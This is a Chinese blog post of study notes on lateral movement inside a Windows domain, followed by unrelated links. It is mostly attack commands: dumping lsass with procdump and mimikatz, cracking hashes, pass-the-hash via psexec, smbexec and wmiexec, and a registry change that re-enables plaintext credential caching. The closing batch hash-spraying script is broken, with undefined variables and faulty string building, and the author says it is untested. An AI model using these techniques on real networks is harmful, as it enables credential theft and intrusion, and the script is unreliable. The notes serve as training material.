• 网安学习-内网渗透3


    目录

    #知识点1:

    #知识点2:

    #案例1-Prodump+Mimikatz配合获取

    #案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)

    #psexec第一种:现有ipc链接,psexec需要明文或者hash传递

    #psexec第二种:不用建立ipc,直接提供明文账号密码来连接

    #smbexec无需先icp连接,明文或者hash传递

     #案例4-域横向移动以上服务hash批量利用-python编译exe


    #知识点1:

    Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。

    Windows2012以下版本如安装KB2871997补丁,同样无法从内存中获取明文密码。

    针对以上的情况,我们提供了4种方式解决此类问题:

    1. 利用哈希hash传递(pth、ptk等)进行移动
    2. 利用其他服务协议(SMB、WMI等)进行哈希移动
    3. 利用注册表操作开启Wdigest Auth值进行获取
    4. 利用工具或者第三方平台(Hashcat)进行破解获取

    #知识点2:

    Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。

    #案例1-Prodump+Mimikatz配合获取

    #Prodump配合Mimikatz

    prodump -accepteula -ma lsass.exe lsass.dmp        #在目标主机上执行该条命令,得到了lsass.dmp文件,之后就是将这个文件移动到我们的本地主机,使用mimikatz进行恢复

    mimikatz上执行:

    sekurlsa::minidump lsass.dmp

    sekurlsa::logonPasswords full

    hashcat的使用方式:

    hashcat -a 0 -m 1000 hash file --force           //其中的1000代表着协议

    #案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)

    利用SMB服务可以通过明文或者hash传递来远程执行,条件445服务端口开放。

    #psexec第一种:现有ipc链接,psexec需要明文或者hash传递

    net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

    psexec \\192.168.3.32 -s cmd #需要先有ipc链接 -s 以system权限运行

    #psexec第二种:不用建立ipc,直接提供明文账号密码来连接

    psexec  \\192.168.3.21 -u administrator -p Admin12345 -s cmd 

    psexec -hashes :$HASH$ ./administrator@10.1.2.3

    psexec -hashes :$HASH$ domain/administrator@10.1.2.3

    psexec -hashes :NTLM值 ./administrator@192.168.3.32

    #非官方自带-参考impacket工具包使用,操作简单,容易被杀

    #smbexec无需先icp连接,明文或者hash传递

    smbexec god/administrator:Admin12345@192.168.3.21

    smbexec ./administrator:admin!@#45@192.168.3.32

    smbexec -hashes :$HASH$ ./admin@192.168.3.21

    smbexec -hashes :$HASH$ domain/admin@192.168.3.21

    smbexec -hashes :NTLM值 ./administrator@192.168.3.32

    smbexec -hashes :NTLM值 god/administrator@192.168.3.21

    #注册表修改

    reg add

    HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    #案例3-域横向移动WMI服务利用-cscript , wmiexec , wmic

    WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户明文或者是hash的方式进行认证,并且该方法不会在目标日志系统中留下痕迹

    #自带WMIC 明文传递  无回显

    wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

    #自带cscript明文传递 有回显

    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

    看见通过cscript执行后,回显,连接成功,执行ipconfig,得到了192.168.3.21。 

    #套件impacket wmiexec 明文或者hash传递 有回显exe版本

    wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"

    wmiexec domain/administrator:Admin12345@192.168.3.21 "whoami"

    wmiexec -hashes :NTLM值 ./administrator@192.168.3.32 "whoami"

    wmiexec -hashes :NTLM值 god/administrator@192.168.3.21 "whoami"

    上面的图片就是分别使用wmiexec命令分别去连接本地用户和域内用户。执行whoami,返回administrator。上面的两个连接都是用明文实现的。

    下面来看一下通过NTLM值来实现。

    同样是使用wmiexec加上-hashes参数对应上NTLM值,连接192.168.3.32本地用户。

     #案例4-域横向移动以上服务hash批量利用-python编译exe

    第一步由于我们已经取得了webserver的权限,之后便是通过mimikatz去收集相关的密码信息。 

    收集到明文密码admin!@#45,假设我们没有获得明文的密码,只是得到了hash值,也就是说NTLM值,为什么这里我们没有使用LM值,是因为服务器大部分使用的都是windows2003之后的,所以优先收集NTLM,当然也可以收集以下LM值。

    之后使用之前的命令(相关命令,在之前的笔记有记录到)收集域中存活的主机。

    之后再通过webserver上的域用户去收集整个域中的用户。

    之后就可以将我们收集的主机ip、用户名、密码写入到python文件中,将文件转为exe文件。

    pyinstaller.exe -F python文件名.py

    生成的exe文件默认存放于script目录下的dist目录下。

     之后便开始运行这个exe文件,批量的去碰撞域和本地的账号。

    发现碰撞成功192.168.3.29的域用户。使用的NTLM值(也就是hash传递)也是webserver的NTLM值。

    之后的操作便是通过登录192.168.3.29的域用户,再收集该主机上的密码信息。

    收集到192.168.3.29的NTLM值,再完善脚本,再次编译为exe文件,再进行上述的碰撞操作。不断完善直到拿到多台主机的信息。

    脚本如下:(脚本应该没问题吧?我没有实战去测试,自己改了一下,user其实没有必要写的)

    1. import os,time
    2. ips={
    3. '192.168.3.21',
    4. '192.168.3.25',
    5. '192.168.3.29',
    6. '192.168.3.30',
    7. '192.168.3.31'
    8. }
    9. user = {
    10. 'Administrator',
    11. 'boss',
    12. 'dbadmin',
    13. 'fileadmin',
    14. 'mack'
    15. 'mary'
    16. 'vpnadm'
    17. 'webadmin'
    18. }
    19. NTLM= {
    20. 'NTML1',
    21. 'NTLM2'
    22. }
    23. for ip in ips:
    24. for user in users:
    25. for mima in passs:
    26. exec1 = "wmiexec -hashes :"+NTLM+" god/domain@"+ips+" whoami"
    27. exec2 = "wmiexec -hashes :"+NTLM+" ./domain@"+ips+" whoami"
    28. print("----->"+exec1+"<-----")
    29. print("----->"+exec2+"<-----")
    30. os.system(exec1)
    31. os.system(exec2)
    32. time.sleep(0.5)

    (没有进行实战的操作,只是学习了整个内网渗透的思路。)

  • 相关阅读:
    java-php-python-ssm网上商城系统计算机毕业设计
    微信小程序开发小程序论文管理系统+后台管理系统
    贪心算法—活动选择问题
    2024上海国际人工智能展(CSITF)“创新驱动发展·科技引领未来”
    Spring源码解析——Spring事务是怎么通过AOP实现的?
    Swift 周报 第十三期
    大数据-之LibrA数据库系统告警处理(ALM-12046 网络写包丢包率超过阈值)
    Camera ITS当中的test_lens_shading_and_color_uniformity测试
    实战指南 | Serverless 架构下的应用开发
    计算机毕业设计ssm+vue基本微信小程序的购物商城系统
  • 原文地址:https://blog.csdn.net/weixin_44770698/article/details/126074406